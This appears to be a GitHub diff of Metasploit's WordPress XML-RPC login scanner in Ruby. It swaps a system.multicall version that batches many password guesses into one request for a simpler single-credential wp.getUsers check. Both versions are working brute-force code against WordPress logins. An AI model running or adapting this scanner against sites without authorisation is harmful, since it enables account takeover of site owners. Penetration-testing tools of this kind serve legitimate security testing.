1
1
require 'metasploit/framework/login_scanner/http'
2
- require 'nokogiri'
3
2
4
3
module Metasploit
5
4
module Framework
@@ -8,143 +7,74 @@ module LoginScanner
8
7
# Wordpress XML RPC login scanner
9
8
class WordpressRPC < HTTP
10
9
11
- # @!attribute passwords
12
- # @return [Array]
13
- attr_accessor :passwords
14
-
15
- # @!attribute chunk_size
16
- # @return [Fixnum]
17
- attr_accessor :chunk_size
18
-
19
- # @!attribute block_wait
20
- # @return [Fixnum]
21
- attr_accessor :block_wait
22
-
23
- # @!attribute base_uri
24
- # @return [String]
25
- attr_accessor :base_uri
26
-
27
- # @!attribute wordpress_url_xmlrpc
28
- # @return [String]
29
- attr_accessor :wordpress_url_xmlrpc
30
-
31
- def set_default
32
- self . wordpress_url_xmlrpc = 'xmlrpc.php'
33
- self . block_wait = 6
34
- self . base_uri = '/'
35
- self . chunk_size = 1800
36
- end
10
+ # (see Base#attempt_login)
11
+ def attempt_login ( credential )
12
+ http_client = Rex ::Proto ::Http ::Client . new (
13
+ host , port , { 'Msf' => framework , 'MsfExploit' => framework_module } , ssl , ssl_version , proxies
14
+ )
15
+ configure_http_client ( http_client )
37
16
38
- # Returns the XML data that is used for the login.
39
- #
40
- # @param user [String] username
41
- # @return [Array]
42
- def generate_xml ( user )
43
- xml_payloads = [ ]
17
+ result_opts = {
18
+ credential : credential ,
19
+ host : host ,
20
+ port : port ,
21
+ protocol : 'tcp'
22
+ }
23
+ if ssl
24
+ result_opts [ :service_name ] = 'https'
25
+ else
26
+ result_opts [ :service_name ] = 'http'
27
+ end
44
28
45
- # Evil XML | Limit number of log-ins to CHUNKSIZE/request due
46
- # Wordpress limitation which is 1700 maximum.
47
- passwords . each_slice ( chunk_size ) do |pass_group |
48
- document = Nokogiri ::XML ::Builder . new do |xml |
49
- xml . methodCall {
50
- xml . methodName ( "system.multicall" )
51
- xml . params {
52
- xml . param {
53
- xml . value {
54
- xml . array {
55
- xml . data {
56
- pass_group . each do |pass |
57
- xml . value {
58
- xml . struct {
59
- xml . member {
60
- xml . name ( "methodName" )
61
- xml . value { xml . string ( "wp.getUsersBlogs" ) } }
62
- xml . member {
63
- xml . name ( "params" )
64
- xml . value {
65
- xml . array {
66
- xml . data {
67
- xml . value {
68
- xml . array {
69
- xml . data {
70
- xml . value { xml . string ( user ) }
71
- xml . value { xml . string ( pass ) }
72
- } } } } } } } } }
73
- end
74
- } } } } } }
29
+ begin
30
+ http_client . connect
31
+
32
+ request = http_client . request_cgi (
33
+ 'uri' => uri ,
34
+ 'method' => method ,
35
+ 'data' => generate_xml_request ( credential . public , credential . private ) ,
36
+ )
37
+ response = http_client . send_recv ( request )
38
+
39
+ if response && response . code == 200 && response . body =~ /<value><int>401<\/ int><\/ value>/ || response . body =~ /<name>user_id<\/ name>/
40
+ result_opts . merge! ( status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL , proof : response )
41
+ elsif response . body =~ /<value><int>-32601<\/ int><\/ value>/
42
+ result_opts . merge! ( status : Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT )
43
+ else
44
+ result_opts . merge! ( status : Metasploit ::Model ::Login ::Status ::INCORRECT , proof : response )
75
45
end
76
- xml_payloads << document . to_xml
46
+ rescue ::EOFError , Rex ::ConnectionError , ::Timeout ::Error => e
47
+ result_opts . merge! ( status : Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT , proof : e )
77
48
end
78
49
79
- xml_payloads
80
- end
81
-
82
- # Sends an HTTP request to Wordpress.
83
- #
84
- # @param xml [String] XML data.
85
- # @return [void]
86
- def send_wp_request ( xml )
87
- opts =
88
- {
89
- 'method' => 'POST' ,
90
- 'uri' => normalize_uri ( "#{ base_uri } /#{ wordpress_url_xmlrpc } " ) ,
91
- 'data' => xml ,
92
- 'ctype' => 'text/xml'
93
- }
50
+ Result . new ( result_opts )
94
51
95
- client = Rex ::Proto ::Http ::Client . new ( rhost )
96
- client . connect
97
- req = client . request_cgi ( opts )
98
- res = client . send_recv ( req )
99
-
100
- if res && res . code != 200
101
- sleep ( block_wait * 60 )
102
- end
103
-
104
- @res = res
105
52
end
106
53
54
+ # This method generates the XML data for the RPC login request
55
+ # @param user [String] the username to authenticate with
56
+ # @param pass [String] the password to authenticate with
57
+ # @return [String] the generated XML body for the request
58
+ def generate_xml_request ( user , pass )
59
+ xml = "<?xml version=\" 1.0\" encoding=\" iso-8859-1\" ?>"
60
+ xml << '<methodCall>'
61
+ xml << '<methodName>wp.getUsers</methodName>'
62
+ xml << '<params><param><value>1</value></param>'
63
+ xml << "<param><value>#{ user } </value></param>"
64
+ xml << "<param><value>#{ pass } </value></param>"
65
+ xml << '</params>'
66
+ xml << '</methodCall>'
67
+ xml
68
+ end
107
69
108
- # Attempts to login.
109
- #
110
- # @param credential [Metasploit::Framework::Credential]
111
- # @return [Metasploit::Framework::LoginScanner::Result]
112
- def attempt_login ( credential )
113
- generate_xml ( credential . public ) . each do |xml |
114
- send_wp_request ( xml )
115
- req_xml = Nokogiri ::Slop ( xml )
116
- res_xml = Nokogiri ::Slop ( @res . to_s . scan ( /<.*>/ ) . join )
117
- res_xml . search ( "methodResponse/params/param/value/array/data/value" ) . each_with_index do |value , i |
118
- result = value . at ( "struct/member/value/int" )
119
- if result . nil?
120
- pass = req_xml . search ( "data/value/array/data" ) [ i ] . value [ 1 ] . text . strip
121
- credential . private = pass
122
- result_opts = {
123
- credential : credential ,
124
- host : host ,
125
- port : port ,
126
- protocol : 'tcp'
127
- }
128
- result_opts . merge! ( status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL )
129
- return Result . new ( result_opts )
130
- end
131
- end
132
- end
133
-
134
- result_opts = {
135
- credential : credential ,
136
- host : host ,
137
- port : port ,
138
- protocol : 'tcp'
139
- }
140
-
141
- result_opts . merge! ( status : Metasploit ::Model ::Login ::Status ::INCORRECT )
142
- return Result . new ( result_opts )
70
+ # (see Base#set_sane_defaults)
71
+ def set_sane_defaults
72
+ @method = "POST" . freeze
73
+ super
143
74
end
144
75
145
76
end
146
77
end
147
78
end
148
79
end
149
80
150
-
0 commit comments